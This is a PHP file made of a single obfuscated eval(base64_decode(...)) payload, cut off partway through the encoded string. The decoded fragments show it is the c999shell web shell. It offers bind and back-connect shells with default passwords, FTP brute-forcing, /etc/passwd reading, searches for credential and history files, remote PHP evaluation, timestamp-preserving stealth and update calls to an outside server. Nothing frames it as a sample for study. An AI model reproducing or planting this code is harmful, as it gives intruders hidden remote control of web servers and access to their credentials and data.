<? 
eval(base64_decode('Ly9TdGFydGluZyBjYWxscwppZiAoIWZ1bmN0aW9uX2V4aXN0cygiZ2V0bWljcm90aW1lIikpIHtmdW5jdGlvbiBnZXRtaWNyb3RpbWUoKSB7bGlzdCgkdXNlYywgJHNlYykgPSBleHBsb2RlKCIgIiwgbWljcm90aW1lKCkpOyByZXR1cm4gKChmbG9hdCkkdXNlYyArIChmbG9hdCkkc2VjKTt9fQplcnJvcl9yZXBvcnRpbmcoNSk7CkBpZ25vcmVfdXNlcl9hYm9ydChUUlVFKTsKQHNldF9tYWdpY19xdW90ZXNfcnVudGltZSgwKTsKJHdpbiA9IHN0cnRvbG93ZXIoc3Vic3RyKFBIUF9PUywwLDMpKSA9PSAid2luIjsKZGVmaW5lKCJzdGFydHRpbWUiLGdldG1pY3JvdGltZSgpKTsKaWYgKGdldF9tYWdpY19xdW90ZXNfZ3BjKCkpIHtpZiAoIWZ1bmN0aW9uX2V4aXN0cygic3RyaXBzIikpIHtmdW5jdGlvbiBzdHJpcHMoJiRhcnIsJGs9IiIpIHtpZiAoaXNfYXJyYXkoJGFycikpIHtmb3JlYWNoKCRhcnIgYXMgJGs9PiR2KSB7aWYgKHN0cnRvdXBwZXIoJGspICE9ICJHTE9CQUxTIikge3N0cmlwcygkYXJyWyIkayJdKTt9fX0gZWxzZSB7JGFyciA9IHN0cmlwc2xhc2hlcygkYXJyKTt9fX0gc3RyaXBzKCRHTE9CQUxTKTt9CiRfUkVRVUVTVCA9IGFycmF5X21lcmdlKCRfQ09PS0lFLCRfR0VULCRfUE9TVCk7CmZvcmVhY2goJF9SRVFVRVNUIGFzICRrPT4kdikge2lmICghaXNzZXQoJCRrKSkgeyQkayA9ICR2O319Cgokc2h2ZXIgPSAiMS4wIHByZS1yZWxlYXNlIGJ1aWxkICMxNiI7IC8vQ3VycmVudCB2ZXJzaW9uCi8vQ09ORklHVVJBVElPTiBBTkQgU0VUVElOR1MKaWYgKCFlbXB0eSgkdW5zZXRfc3VybCkpIHtzZXRjb29raWUoImM5OTlzaF9zdXJsIik7ICRzdXJsID0gIiI7fQplbHNlaWYgKCFlbXB0eSgkc2V0X3N1cmwpKSB7JHN1cmwgPSAkc2V0X3N1cmw7IHNldGNvb2tpZSgiYzk5OXNoX3N1cmwiLCRzdXJsKTt9CmVsc2UgeyRzdXJsID0gJF9SRVFVRVNUWyJjOTk5c2hfc3VybCJdOyAvL1NldCB0aGlzIGNvb2tpZSBmb3IgbWFudWFsIFNVUkwKfQoKJHN1cmxfYXV0b2ZpbGxfaW5jbHVkZSA9IFRSVUU7IC8vSWYgVFJVRSB0aGVuIHNlYXJjaCB2YXJpYWJsZXMgd2l0aCBkZXNjcmlwdG9ycyAoVVJMcykgYW5kIHNhdmUgaXQgaW4gU1VSTC4KCmlmICgkc3VybF9hdXRvZmlsbF9pbmNsdWRlIGFuZCAhJF9SRVFVRVNUWyJjOTk5c2hfc3VybCJdKSB7JGluY2x1ZGUgPSAiJiI7IGZvcmVhY2ggKGV4cGxvZGUoIiYiLGdldGVudigiUVVFUllfU1RSSU5HIikpIGFzICR2KSB7JHYgPSBleHBsb2RlKCI9Iiwkdik7ICRuYW1lID0gdXJsZGVjb2RlKCR2WzBdKTsgJHZhbHVlID0gdXJsZGVjb2RlKCR2WzFdKTsgZm9yZWFjaCAoYXJyYXkoImh0dHA6Ly8iLCJodHRwczovLyIsInNzbDovLyIsImZ0cDovLyIsIlxcXFwiKSBhcyAkbmVlZGxlKSB7aWYgKHN0cnBvcygkdmFsdWUsJG5lZWRsZSkgPT09IDApIHskaW5jbHVkZXN0ciAuPSB1cmxlbmNvZGUoJG5hbWUpLiI9Ii51cmxlbmNvZGUoJHZhbHVlKS4iJiI7fX19IGlmICgkX1JFUVVFU1RbInN1cmxfYXV0b2ZpbGxfaW5jbHVkZSJdKSB7JGluY2x1ZGVzdHIgLj0gInN1cmxfYXV0b2ZpbGxfaW5jbHVkZT0xJiI7fX0KaWYgKGVtcHR5KCRzdXJsKSkKewogJHN1cmwgPSAiPyIuJGluY2x1ZGVzdHI7IC8vU2VsZiB1cmwKfQokc3VybCA9IGh0bWxzcGVjaWFsY2hhcnMoJHN1cmwpOwoKJHRpbWVsaW1pdCA9IDA7IC8vdGltZSBsaW1pdCBvZiBleGVjdXRpb24gdGhpcyBzY3JpcHQgb3ZlciBzZXJ2ZXIgcXVvdGUgKHNlY29uZHMpLCAwID0gdW5saW1pdGVkLgovL0F1dGhlbnRpY2F0aW9uCiRsb2dpbiA9ICIiOyAvL2xvZ2luCi8vRE9OJ1QgRk9SR09UIEFCT1VUIFBBU1NXT1JEISEhCiRwYXNzID0gIiI7IC8vcGFzc3dvcmQKJG1kNV9wYXNzID0gIiI7IC8vbWQ1LWNyeXBlZCBwYXNzLiBpZiBudWxsLCBtZDUoJHBhc3MpCiRob3N0X2FsbG93ID0gYXJyYXkoIioiKTsgLy9hcnJheSAoInttYXNrfTEiLCJ7bWFza30yIiwuLi4pLCB7bWFza30gPSBJUCBvciBIT1NUIGUuZy4gYXJyYXkoIjE5Mi4xNjguMC4qIiwiMTI3LjAuMC4xIikKJGxvZ2luX3R4dCA9ICJSZXN0cmljdGVkIGFyZWEiOyAvL2h0dHAtYXV0aCBtZXNzYWdlLgokYWNjZXNzZGVuaWVkbWVzcyA9ICI8YSBocmVmPVwiaHR0cDovL2NjdGVhbS5ydS9yZWxlYXNlcy9jOTk5c2hlbGxcIj5jOTk5c2hlbGwgdi4iLiRzaHZlci4iPC9hPjogYWNjZXNzIGRlbmllZCI7CiRnemlwZW5jb2RlID0gVFJVRTsgLy9FbmNvZGUgd2l0aCBnemlwPwokdXBkYXRlbm93ID0gRkFMU0U7IC8vSWYgVFJVRSwgdXBkYXRlIG5vdyAodGhpcyB2YXJpYWJsZSB3aWxsIGJlIEZBTFNFKQokYXg0ID0iaHR0cDovLyI7IAokYzk5OXNoX3VwZGF0ZXVybCA9ICJodHRwOi8vY2N0ZWFtLnJ1L3VwZGF0ZS9jOTk5c2hlbGwvIjsgLy9VcGRhdGUgc2VydmVyCiRjOTk5c2hfc291cmNlc3VybCA9ICJodHRwOi8vY2N0ZWFtLnJ1L2ZpbGVzL2M5OTlzaF9zb3VyY2VzLyI7IC8vU291cmNlcy1zZXJ2ZXIKJGZpbGVzdGVhbHRoID0gVFJVRTsgLy9pZiBUUlVFLCBkb24ndCBjaGFuZ2UgbW9kaWZ5LSBhbmQgYWNjZXNzLXRpbWUKJGRvbmF0ZWRfaHRtbCA9ICI8Y2VudGVyPjxiPk93bmVkIGJ5IGhhY2tlcjwvYj48L2NlbnRlcj4iOwovKiBJZiB5b3UgcHVibGlzaCBmcmVlIHNoZWxsIGFuZCB5b3Ugd2lzaAphZGQgbGluayB0byB5b3VyIHNpdGUgb3IgYW55IG90aGVyIGluZm9ybWF0aW9uLApwdXQgaGVyZSB5b3VyIGh0bWwuICovCiRkb25hdGVkX2FjdCA9IGFycmF5KCIiKTsgLy9hcnJheSAoImFjdDEiLCJhY3QyLCIuLi4pLCBpZiAkYWN0IGlzIGluIHRoaXMgYXJyYXksIGRpc3BsYXkgJGRvbmF0ZWRfaHRtbC4KJGN1cmRpciA9ICIuLyI7IC8vc3RhcnQgZm9sZGVyCi8vJGN1cmRpciA9IGdldGVudigiRE9DVU1FTlRfUk9PVCIpOwokdG1wZGlyID0gIiI7IC8vRm9sZGVyIGZvciB0ZW1wb3J5IGZpbGVzLiBJZiBlbXB0eSwgYXV0by1maWxsICgvdG1wIG9yICVXSU5ESVIvdGVtcCkKJHRtcGRpcl9sb2cgPSAiLi8iOyAvL0RpcmVjdG9yeSBsb2dzIG9mIGxvbmcgcHJvY2Vzc2VzIChlLmcuIGJydXRlLCBzY2FuLi4uKQoKJGxvZ19lbWFpbCA9ICJ1c2VyQGhvc3QudGxkIjsgLy9EZWZhdWx0IGUtbWFpbCBmb3Igc2VuZGluZyBsb2dzCgokc29ydF9kZWZhdWx0ID0gIjBhIjsgLy9EZWZhdWx0IHNvcnRpbmcsIDAgLSBudW1iZXIgb2YgY29sb21uLCAiYSJzY2VuZGluZyBvciAiZCJlc2NlbmRpbmcKJHNvcnRfc2F2ZSA9IFRSVUU7IC8vSWYgVFJVRSB0aGVuIHNhdmUgc29ydGluZy1wb3NpdGlvbiB1c2luZyBjb29raWVzLgoKLy8gUmVnaXN0ZXJlZCBmaWxlLXR5cGVzLgovLyAgYXJyYXkoCi8vICAgInthY3Rpb24xfSI9PmFycmF5KCJleHQxIiwiZXh0MiIsImV4dDMiLC4uLiksCi8vICAgInthY3Rpb24yfSI9PmFycmF5KCJleHQ0IiwiZXh0NSIsImV4dDYiLC4uLiksCi8vICAgLi4uCi8vICApCiRmdHlwZXMgID0gYXJyYXkoCiAiaHRtbCI9PmFycmF5KCJodG1sIiwiaHRtIiwic2h0bWwiKSwKICJ0eHQiPT5hcnJheSgidHh0IiwiY29uZiIsImJhdCIsInNoIiwianMiLCJiYWsiLCJkb2MiLCJsb2ciLCJzZmMiLCJjZmciLCJodGFjY2VzcyIpLAogImV4ZSI9PmFycmF5KCJzaCIsImluc3RhbGwiLCJiYXQiLCJjbWQiKSwKICJpbmkiPT5hcnJheSgiaW5pIiwiaW5mIiksCiAiY29kZSI9PmFycmF5KCJwaHAiLCJwaHRtbCIsInBocDMiLCJwaHA0IiwiaW5jIiwidGNsIiwiaCIsImMiLCJjcHAiLCJweSIsImNnaSIsInBsIiksCiAiaW1nIj0+YXJyYXkoImdpZiIsInBuZyIsImpwZWciLCJqZmlmIiwianBnIiwianBlIiwiYm1wIiwiaWNvIiwidGlmIiwidGlmZiIsImF2aSIsIm1wZyIsIm1wZWciKSwKICJzZGIiPT5hcnJheSgic2RiIiksCiAicGhwc2VzcyI9PmFycmF5KCJzZXNzIiksCiAiZG93bmxvYWQiPT5hcnJheSgiZXhlIiwiY29tIiwicGlmIiwic3JjIiwibG5rIiwiemlwIiwicmFyIiwiZ3oiLCJ0YXIiKQopOwoKLy8gUmVnaXN0ZXJlZCBleGVjdXRhYmxlIGZpbGUtdHlwZXMuCi8vICBhcnJheSgKLy8gICBzdHJpbmcgImNvbW1hbmR7aX0iPT5hcnJheSgiZXh0MSIsImV4dDIiLCJleHQzIiwuLi4pLAovLyAgIC4uLgovLyAgKQovLyAgIHtjb21tYW5kfTogJWYlID0gZmlsZW5hbWUKJGV4ZWZ0eXBlcyAgPSBhcnJheSgKIGdldGVudigiUEhQUkMiKS4iIC1xICVmJSIgPT4gYXJyYXkoInBocCIsInBocDMiLCJwaHA0IiksCiAicGVybCAlZiUiID0+IGFycmF5KCJwbCIsImNnaSIpCik7CgovKiBIaWdobGlnaHRlZCBmaWxlcy4KICBhcnJheSgKICAgaT0+YXJyYXkoe3JlZ2V4cH0se3R5cGV9LHtvcGVudGFnfSx7Y2xvc2V0YWd9LHticmVha30pCiAgIC4uLgogICkKICBzdHJpbmcge3JlZ2V4cH0gLSByZWd1bGFyIGV4cC4KICBpbnQge3R5cGV9OgowIC0gZmlsZXMgYW5kIGZvbGRlcnMgKGFzIGRlZmF1bHQpLAoxIC0gZmlsZXMgb25seSwgMiAtIGZvbGRlcnMgb25seQogIHN0cmluZyB7b3BlbnRhZ30gLSBvcGVuIGh0bWwtdGFnLCBlLmcuICI8Yj4iIChkZWZhdWx0KQogIHN0cmluZyB7Y2xvc2V0YWd9IC0gY2xvc2UgaHRtbC10YWcsIGUuZy4gIjwvYj4iIChkZWZhdWx0KQogIGJvb2wge2JyZWFrfSAtIGlmIFRSVUUgYW5kIGZvdW5kIG1hdGNoIHRoZW4gYnJlYWsKKi8KJHJlZ3hwX2hpZ2hsaWdodCAgPSBhcnJheSgKICBhcnJheShiYXNlbmFtZSgkX1NFUlZFUlsiUEhQX1NFTEYiXSksMSwiPGZvbnQgY29sb3I9XCJ5ZWxsb3dcIj4iLCI8L2ZvbnQ+IiksIC8vIGV4YW1wbGUKICBhcnJheSgiY29uZmlnLnBocCIsMSkgLy8gZXhhbXBsZQopOwoKJHNhZmVtb2RlX2Rpc2tldHRlcyA9IGFycmF5KCJhIik7IC8vIFRoaXMgdmFyaWFibGUgZm9yIGRpc2FibGluZyBkaXNrZXR0LWVycm9ycy4KIC8vIGFycmF5IChpPT57bGV0dGVyfSAuLi4pOyBzdHJpbmcge2xldHRlcn0gLSBsZXR0ZXIgb2YgYSBkcml2ZQovLyRzYWZlbW9kZV9kaXNrZXR0ZXMgPSByYW5nZSgiYSIsInoiKTsKJGhleGR1bXBfbGluZXMgPSA4Oy8vIGxpbmVzIGluIGhleCBwcmV2aWV3IGZpbGUKJGhleGR1bXBfcm93cyA9IDI0Oy8vIDE2LCAyNCBvciAzMiBieXRlcyBpbiBvbmUgbGluZQokY3g3ID0iLmNvbSI7IAokbml4cHdkcGVycGFnZSA9IDEwMDsgLy8gR2V0IGZpcnN0IE4gbGluZXMgZnJvbSAvZXRjL3Bhc3N3ZAoKJGJpbmRwb3J0X3Bhc3MgPSAiYzk5OSI7ICAvLyBkZWZhdWx0IHBhc3N3b3JkIGZvciBiaW5kaW5nCiRiaW5kcG9ydF9wb3J0ID0gIjMxMzczIjsgLy8gZGVmYXVsdCBwb3J0IGZvciBiaW5kaW5nCiRiY19wb3J0ID0gIjMxMzczIjsgLy8gZGVmYXVsdCBwb3J0IGZvciBiYWNrLWNvbm5lY3QKJGN4NCA9Ii94LiI7IAokZGF0YXBpcGVfbG9jYWxwb3J0ID0gIjgwODEiOyAvLyBkZWZhdWx0IHBvcnQgZm9yIGRhdGFwaXBlCgovLyBDb21tYW5kLWFsaWFzZXMKaWYgKCEkd2luKQp7CiAkY21kYWxpYXNlcyA9IGFycmF5KAogIGFycmF5KCItLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSIsICJscyAtbGEiKSwKICBhcnJheSgiZmluZCBhbGwgc3VpZCBmaWxlcyIsICJmaW5kIC8gLXR5cGUgZiAtcGVybSAtMDQwMDAgLWxzIiksCiAgYXJyYXkoImZpbmQgc3VpZCBmaWxlcyBpbiBjdXJyZW50IGRpciIsICJmaW5kIC4gLXR5cGUgZiAtcGVybSAtMDQwMDAgLWxzIiksCiAgYXJyYXkoImZpbmQgYWxsIHNnaWQgZmlsZXMiLCAiZmluZCAvIC10eXBlIGYgLXBlcm0gLTAyMDAwIC1scyIpLAogIGFycmF5KCJmaW5kIHNnaWQgZmlsZXMgaW4gY3VycmVudCBkaXIiLCAiZmluZCAuIC10eXBlIGYgLXBlcm0gLTAyMDAwIC1scyIpLAogIGFycmF5KCJmaW5kIGNvbmZpZy5pbmMucGhwIGZpbGVzIiwgImZpbmQgLyAtdHlwZSBmIC1uYW1lIGNvbmZpZy5pbmMucGhwIiksCiAgYXJyYXkoImZpbmQgY29uZmlnKiBmaWxlcyIsICJmaW5kIC8gLXR5cGUgZiAtbmFtZSBcImNvbmZpZypcIiIpLAogIGFycmF5KCJmaW5kIGNvbmZpZyogZmlsZXMgaW4gY3VycmVudCBkaXIiLCAiZmluZCAuIC10eXBlIGYgLW5hbWUgXCJjb25maWcqXCIiKSwKICBhcnJheSgiZmluZCBhbGwgd3JpdGFibGUgZm9sZGVycyBhbmQgZmlsZXMiLCAiZmluZCAvIC1wZXJtIC0yIC1scyIpLAogIGFycmF5KCJmaW5kIGFsbCB3cml0YWJsZSBmb2xkZXJzIGFuZCBmaWxlcyBpbiBjdXJyZW50IGRpciIsICJmaW5kIC4gLXBlcm0gLTIgLWxzIiksCiAgYXJyYXkoImZpbmQgYWxsIHNlcnZpY2UucHdkIGZpbGVzIiwgImZpbmQgLyAtdHlwZSBmIC1uYW1lIHNlcnZpY2UucHdkIiksCiAgYXJyYXkoImZpbmQgc2VydmljZS5wd2QgZmlsZXMgaW4gY3VycmVudCBkaXIiLCAiZmluZCAuIC10eXBlIGYgLW5hbWUgc2VydmljZS5wd2QiKSwKICBhcnJheSgiZmluZCBhbGwgLmh0cGFzc3dkIGZpbGVzIiwgImZpbmQgLyAtdHlwZSBmIC1uYW1lIC5odHBhc3N3ZCIpLAogIGFycmF5KCJmaW5kIC5odHBhc3N3ZCBmaWxlcyBpbiBjdXJyZW50IGRpciIsICJmaW5kIC4gLXR5cGUgZiAtbmFtZSAuaHRwYXNzd2QiKSwKICBhcnJheSgiZmluZCBhbGwgLmJhc2hfaGlzdG9yeSBmaWxlcyIsICJmaW5kIC8gLXR5cGUgZiAtbmFtZSAuYmFzaF9oaXN0b3J5IiksCiAgYXJyYXkoImZpbmQgLmJhc2hfaGlzdG9yeSBmaWxlcyBpbiBjdXJyZW50IGRpciIsICJmaW5kIC4gLXR5cGUgZiAtbmFtZSAuYmFzaF9oaXN0b3J5IiksCiAgYXJyYXkoImZpbmQgYWxsIC5mZXRjaG1haWxyYyBmaWxlcyIsICJmaW5kIC8gLXR5cGUgZiAtbmFtZSAuZmV0Y2htYWlscmMiKSwKICBhcnJheSgiZmluZCAuZmV0Y2htYWlscmMgZmlsZXMgaW4gY3VycmVudCBkaXIiLCAiZmluZCAuIC10eXBlIGYgLW5hbWUgLmZldGNobWFpbHJjIiksCiAgYXJyYXkoImxpc3QgZmlsZSBhdHRyaWJ1dGVzIG9uIGEgTGludXggc2Vjb25kIGV4dGVuZGVkIGZpbGUgc3lzdGVtIiwgImxzYXR0ciAtdmEiKSwKICBhcnJheSgic2hvdyBvcGVuZWQgcG9ydHMiLCAibmV0c3RhdCAtYW4gfCBncmVwIC1pIGxpc3RlbiIpCiApOwp9CmVsc2UKewogJGNtZGFsaWFzZXMgPSBhcnJheSgKICBhcnJheSgiLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0iLCAiZGlyIiksCiAgYXJyYXkoInNob3cgb3BlbmVkIHBvcnRzIiwgIm5ldHN0YXQgLWFuIikKICk7Cn0KCiRzZXNzX2Nvb2tpZSA9ICJjOTk5c2h2YXJzIjsgLy8gQ29va2llLXZhcmlhYmxlIG5hbWUKCiR1c2Vmc2J1ZmYgPSBUUlVFOyAvL0J1ZmZlci1mdW5jdGlvbgokcHg3ID0iaHRtbCI7ICAKJGNvcHlfdW5zZXQgPSBGQUxTRTsgLy9SZW1vdmUgY29waWVkIGZpbGVzIGZyb20gYnVmZmVyIGFmdGVyIHBhc3RpbmcKCi8vUXVpY2sgbGF1bmNoCiRxdWlja2xhdW5jaCA9IGFycmF5KAogYXJyYXkoIjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9aG9tZVwiIGFsdD1cIkhvbWVcIiBoZWlnaHQ9XCIyMFwiIHdpZHRoPVwiMjBcIiBib3JkZXI9XCIwXCI+Iiwkc3VybCksCiBhcnJheSgiPGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1iYWNrXCIgYWx0PVwiQmFja1wiIGhlaWdodD1cIjIwXCIgd2lkdGg9XCIyMFwiIGJvcmRlcj1cIjBcIj4iLCIjXCIgb25jbGljaz1cImhpc3RvcnkuYmFjaygxKSIpLAogYXJyYXkoIjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9Zm9yd2FyZFwiIGFsdD1cIkZvcndhcmRcIiBoZWlnaHQ9XCIyMFwiIHdpZHRoPVwiMjBcIiBib3JkZXI9XCIwXCI+IiwiI1wiIG9uY2xpY2s9XCJoaXN0b3J5LmdvKDEpIiksCiBhcnJheSgiPGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz11cFwiIGFsdD1cIlVQRElSXCIgaGVpZ2h0PVwiMjBcIiB3aWR0aD1cIjIwXCIgYm9yZGVyPVwiMFwiPiIsJHN1cmwuImFjdD1scyZkPSV1cGQmc29ydD0lc29ydCIpLAogYXJyYXkoIjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9cmVmcmVzaFwiIGFsdD1cIlJlZnJlc2hcIiBoZWlnaHQ9XCIyMFwiIHdpZHRoPVwiMTdcIiBib3JkZXI9XCIwXCI+IiwiIiksCiBhcnJheSgiPGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1zZWFyY2hcIiBhbHQ9XCJTZWFyY2hcIiBoZWlnaHQ9XCIyMFwiIHdpZHRoPVwiMjBcIiBib3JkZXI9XCIwXCI+Iiwkc3VybC4iYWN0PXNlYXJjaCZkPSVkIiksCiBhcnJheSgiPGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1idWZmZXJcIiBhbHQ9XCJCdWZmZXJcIiBoZWlnaHQ9XCIyMFwiIHdpZHRoPVwiMjBcIiBib3JkZXI9XCIwXCI+Iiwkc3VybC4iYWN0PWZzYnVmZiZkPSVkIiksCiBhcnJheSgiPGI+RW5jb2RlcjwvYj4iLCRzdXJsLiJhY3Q9ZW5jb2RlciZkPSVkIiksCiBhcnJheSgiPGI+VG9vbHM8L2I+Iiwkc3VybC4iYWN0PXRvb2xzJmQ9JWQiKSwKIGFycmF5KCI8Yj5Qcm9jLjwvYj4iLCRzdXJsLiJhY3Q9cHJvY2Vzc2VzJmQ9JWQiKSwKIGFycmF5KCI8Yj5GVFAgYnJ1dGU8L2I+Iiwkc3VybC4iYWN0PWZ0cHF1aWNrYnJ1dGUmZD0lZCIpLAogYXJyYXkoIjxiPlNlYy48L2I+Iiwkc3VybC4iYWN0PXNlY3VyaXR5JmQ9JWQiKSwKIGFycmF5KCI8Yj5TUUw8L2I+Iiwkc3VybC4iYWN0PXNxbCZkPSVkIiksCiBhcnJheSgiPGI+UEhQLWNvZGU8L2I+Iiwkc3VybC4iYWN0PWV2YWwmZD0lZCIpLAogYXJyYXkoIjxiPlVwZGF0ZTwvYj4iLCRzdXJsLiJhY3Q9dXBkYXRlJmQ9JWQiKSwKIGFycmF5KCI8Yj5GZWVkYmFjazwvYj4iLCRzdXJsLiJhY3Q9ZmVlZGJhY2smZD0lZCIpLAogYXJyYXkoIjxiPlNlbGYgcmVtb3ZlPC9iPiIsJHN1cmwuImFjdD1zZWxmcmVtb3ZlIiksCiBhcnJheSgiPGI+TG9nb3V0PC9iPiIsIiNcIiBvbmNsaWNrPVwiaWYgKGNvbmZpcm0oJ0FyZSB5b3Ugc3VyZT8nKSkgd2luZG93LmNsb3NlKCkiKQopOwoKLy9IaWdobGlnaHQtY29kZSBjb2xvcnMKJGhpZ2hsaWdodF9iYWNrZ3JvdW5kID0gIiNjMGMwYzAiOwokaGlnaGxpZ2h0X2JnID0gIiNGRkZGRkYiOwokaGlnaGxpZ2h0X2NvbW1lbnQgPSAiIzZBNkE2QSI7CiRoaWdobGlnaHRfZGVmYXVsdCA9ICIjMDAwMEJCIjsKJGhpZ2hsaWdodF9odG1sID0gIiMxMzAwRkYiOwokaGlnaGxpZ2h0X2tleXdvcmQgPSAiIzAwNzcwMCI7CiRoaWdobGlnaHRfc3RyaW5nID0gIiMwMDAwMDAiOwoKQCRmID0gJF9SRVFVRVNUWyJmIl07CkBleHRyYWN0KCRfUkVRVUVTVFsiYzk5OXNoY29vayJdKTsKCi8vRU5EIENPTkZJR1VSQVRJT04KCgovLyBcL05leHQgY29kZSBpc24ndCBmb3IgZWRpdGluZ1wvCkBzZXRfdGltZV9saW1pdCgwKTsKJHRtcCA9IGFycmF5KCk7CmZvcmVhY2goJGhvc3RfYWxsb3cgYXMgJGs9PiR2KSB7JHRtcFtdID0gc3RyX3JlcGxhY2UoIlxcKiIsIi4qIixwcmVnX3F1b3RlKCR2KSk7fQokcyA9ICIhXigiLmltcGxvZGUoInwiLCR0bXApLiIpJCFpIjsKaWYgKCFwcmVnX21hdGNoKCRzLGdldGVudigiUkVNT1RFX0FERFIiKSkgYW5kICFwcmVnX21hdGNoKCRzLGdldGhvc3RieWFkZHIoZ2V0ZW52KCJSRU1PVEVfQUREUiIpKSkpIHtleGl0KCI8YSBocmVmPVwiaHR0cDovL2NjdGVhbS5ydS9yZWxlYXNlcy9jYzk5OXNoZWxsXCI+Yzk5OXNoZWxsPC9hPjogQWNjZXNzIERlbmllZCAtIHlvdXIgaG9zdCAoIi5nZXRlbnYoIlJFTU9URV9BRERSIikuIikgbm90IGFsbG93Iik7fQppZiAoIWVtcHR5KCRsb2dpbikpCnsKIGlmIChlbXB0eSgkbWQ1X3Bhc3MpKSB7JG1kNV9wYXNzID0gbWQ1KCRwYXNzKTt9CiBpZiAoKCRfU0VSVkVSWyJQSFBfQVVUSF9VU0VSIl0gIT0gJGxvZ2luKSBvciAobWQ1KCRfU0VSVkVSWyJQSFBfQVVUSF9QVyJdKSAhPSAkbWQ1X3Bhc3MpKQogewogIGlmIChlbXB0eSgkbG9naW5fdHh0KSkgeyRsb2dpbl90eHQgPSBzdHJpcF90YWdzKGVyZWdfcmVwbGFjZSgiJm5ic3A7fDxicj4iLCIgIiwkZG9uYXRlZF9odG1sKSk7fQogIGhlYWRlcigiV1dXLUF1dGhlbnRpY2F0ZTogQmFzaWMgcmVhbG09XCJjOTk5c2hlbGwgIi4kc2h2ZXIuIjogIi4kbG9naW5fdHh0LiJcIiIpOwogIGhlYWRlcigiSFRUUC8xLjAgNDAxIFVuYXV0aG9yaXplZCIpOwogIGV4aXQoJGFjY2Vzc2RlbmllZG1lc3MpOwogfQp9CmlmICgkYWN0ICE9ICJpbWciKQp7CiRsYXN0ZGlyID0gcmVhbHBhdGgoIi4iKTsKY2hkaXIoJGN1cmRpcik7CmlmICgkc2VsZndyaXRlIG9yICR1cGRhdGVub3cpIHtAb2JfY2xlYW4oKTsgYzk5OXNoX2dldHVwZGF0ZSgkc2VsZndyaXRlLDEpOyBleGl0O30KJHNlc3NfZGF0YSA9IHVuc2VyaWFsaXplKCRfQ09PS0lFWyIkc2Vzc19jb29raWUiXSk7CmlmICghaXNfYXJyYXkoJHNlc3NfZGF0YSkpIHskc2Vzc19kYXRhID0gYXJyYXkoKTt9CmlmICghaXNfYXJyYXkoJHNlc3NfZGF0YVsiY29weSJdKSkgeyRzZXNzX2RhdGFbImNvcHkiXSA9IGFycmF5KCk7fQppZiAoIWlzX2FycmF5KCRzZXNzX2RhdGFbImN1dCJdKSkgeyRzZXNzX2RhdGFbImN1dCJdID0gYXJyYXkoKTt9CgokZGlzYWJsZWZ1bmMgPSBAaW5pX2dldCgiZGlzYWJsZV9mdW5jdGlvbnMiKTsKaWYgKCFlbXB0eSgkZGlzYWJsZWZ1bmMpKQp7CiAkZGlzYWJsZWZ1bmMgPSBzdHJfcmVwbGFjZSgiICIsIiIsJGRpc2FibGVmdW5jKTsKICRkaXNhYmxlZnVuYyA9IGV4cGxvZGUoIiwiLCRkaXNhYmxlZnVuYyk7Cn0KCmlmICghZnVuY3Rpb25fZXhpc3RzKCJjOTk5X2J1ZmZfcHJlcGFyZSIpKQp7CmZ1bmN0aW9uIGM5OTlfYnVmZl9wcmVwYXJlKCkKewogZ2xvYmFsICRzZXNzX2RhdGE7CiBnbG9iYWwgJGFjdDsKIGZvcmVhY2goJHNlc3NfZGF0YVsiY29weSJdIGFzICRrPT4kdikgeyRzZXNzX2RhdGFbImNvcHkiXVska10gPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IscmVhbHBhdGgoJHYpKTt9CiBmb3JlYWNoKCRzZXNzX2RhdGFbImN1dCJdIGFzICRrPT4kdikgeyRzZXNzX2RhdGFbImN1dCJdWyRrXSA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUixyZWFscGF0aCgkdikpO30KICRzZXNzX2RhdGFbImNvcHkiXSA9IGFycmF5X3VuaXF1ZSgkc2Vzc19kYXRhWyJjb3B5Il0pOwogJHNlc3NfZGF0YVsiY3V0Il0gPSBhcnJheV91bmlxdWUoJHNlc3NfZGF0YVsiY3V0Il0pOwogc29ydCgkc2Vzc19kYXRhWyJjb3B5Il0pOwogc29ydCgkc2Vzc19kYXRhWyJjdXQiXSk7CiBpZiAoJGFjdCAhPSAiY29weSIpIHtmb3JlYWNoKCRzZXNzX2RhdGFbImN1dCJdIGFzICRrPT4kdikge2lmICgkc2Vzc19kYXRhWyJjb3B5Il1bJGtdID09ICR2KSB7dW5zZXQoJHNlc3NfZGF0YVsiY29weSJdWyRrXSk7IH19fQogZWxzZSB7Zm9yZWFjaCgkc2Vzc19kYXRhWyJjb3B5Il0gYXMgJGs9PiR2KSB7aWYgKCRzZXNzX2RhdGFbImN1dCJdWyRrXSA9PSAkdikge3Vuc2V0KCRzZXNzX2RhdGFbImN1dCJdWyRrXSk7fX19Cn0KfQpjOTk5X2J1ZmZfcHJlcGFyZSgpOwppZiAoIWZ1bmN0aW9uX2V4aXN0cygiYzk5OV9zZXNzX3B1dCIpKQp7CmZ1bmN0aW9uIGM5OTlfc2Vzc19wdXQoJGRhdGEpCnsKIGdsb2JhbCAkc2Vzc19jb29raWU7CiBnbG9iYWwgJHNlc3NfZGF0YTsKIGM5OTlfYnVmZl9wcmVwYXJlKCk7CiAkc2Vzc19kYXRhID0gJGRhdGE7CiAkZGF0YSA9IHNlcmlhbGl6ZSgkZGF0YSk7CiBzZXRjb29raWUoJHNlc3NfY29va2llLCRkYXRhKTsKfQp9CmZvcmVhY2ggKGFycmF5KCJzb3J0Iiwic3FsX3NvcnQiKSBhcyAkdikKewogaWYgKCFlbXB0eSgkX0dFVFskdl0pKSB7JCR2ID0gJF9HRVRbJHZdO30KIGlmICghZW1wdHkoJF9QT1NUWyR2XSkpIHskJHYgPSAkX1BPU1RbJHZdO30KfQppZiAoJHNvcnRfc2F2ZSkKewogaWYgKCFlbXB0eSgkc29ydCkpIHtzZXRj